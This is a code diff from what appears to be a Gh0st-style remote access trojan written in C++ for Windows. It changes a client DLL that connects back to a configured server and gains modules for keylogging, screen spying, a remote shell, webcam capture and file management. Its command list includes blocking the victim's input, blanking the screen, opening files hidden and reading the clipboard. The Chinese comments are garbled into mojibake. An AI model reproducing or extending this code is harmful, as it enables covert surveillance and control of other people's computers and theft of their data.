std::vector<std::string> result;
|
||||
while (std::getline(stream, item, ':')) {
|
||||
result.push_back(item);
|
||||
}
|
||||
if (result.size() == 1)
|
||||
{
|
||||
result.push_back("80");
|
||||
}
|
||||
if (result.size() != 2) {
|
||||
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
|
||||
return;
|
||||
}
|
||||
|
||||
do {
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (g_bExit == 1)
|
||||
return;
|
||||
else if (g_bExit == 2)
|
||||
continue;
|
||||
else // 3
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
IOCPClient *ClientObject = new IOCPClient();
|
||||
|
||||
g_bThreadExit = false;
|
||||
while (!g_bExit)
|
||||
{
|
||||
DWORD dwTickCount = GetTickCount();
|
||||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||
continue;
|
||||
}
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
||||
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||||
|
||||
CKernelManager Manager(ClientObject);
|
||||
bool bIsRun = 0;
|
||||
@@ -139,9 +331,11 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
bIsRun = ClientObject->IsRunning();
|
||||
|
||||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
cout<<"StartClient end\n";
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
g_bThreadExit = true;
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
@@ -14,19 +14,20 @@
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
@@ -40,7 +41,14 @@
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
|
||||
236
client/ClientDll_vs2015.vcxproj
Normal file
236
client/ClientDll_vs2015.vcxproj
Normal file
@@ -0,0 +1,236 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\commands.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -10,33 +10,11 @@
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KernelManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
|
||||
extern char g_szServerIP[MAX_PATH];
|
||||
extern unsigned short g_uPort;
|
||||
#include "KernelManager.h"
|
||||
|
||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
LPTHREAD_START_ROUTINE StartAddress,
|
||||
LPVOID lParam,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD ThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
ThreadArgList.StartAddress = StartAddress;
|
||||
ThreadArgList.lParam = (void *)lParam; //IP
|
||||
ThreadArgList.bInteractive = bInteractive; //??
|
||||
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
||||
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
||||
dwCreationFlags, (LPDWORD)ThreadId);
|
||||
|
||||
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
||||
CloseHandle(ThreadArgList.hEvent);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
extern CONNECT_ADDRESS g_SETTINGS;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
@@ -52,9 +30,9 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n);
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
}
|
||||
delete ClientObject;
|
||||
@@ -112,3 +90,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||
}
|
||||
|
||||
136
client/Common.h
136
client/Common.h
@@ -1,126 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
enum
|
||||
{
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
||||
TRANSFER_MODE_ADDITION, // <><D7B7>
|
||||
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
||||
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
||||
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
||||
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
||||
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
||||
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
|
||||
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
||||
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
||||
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
||||
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
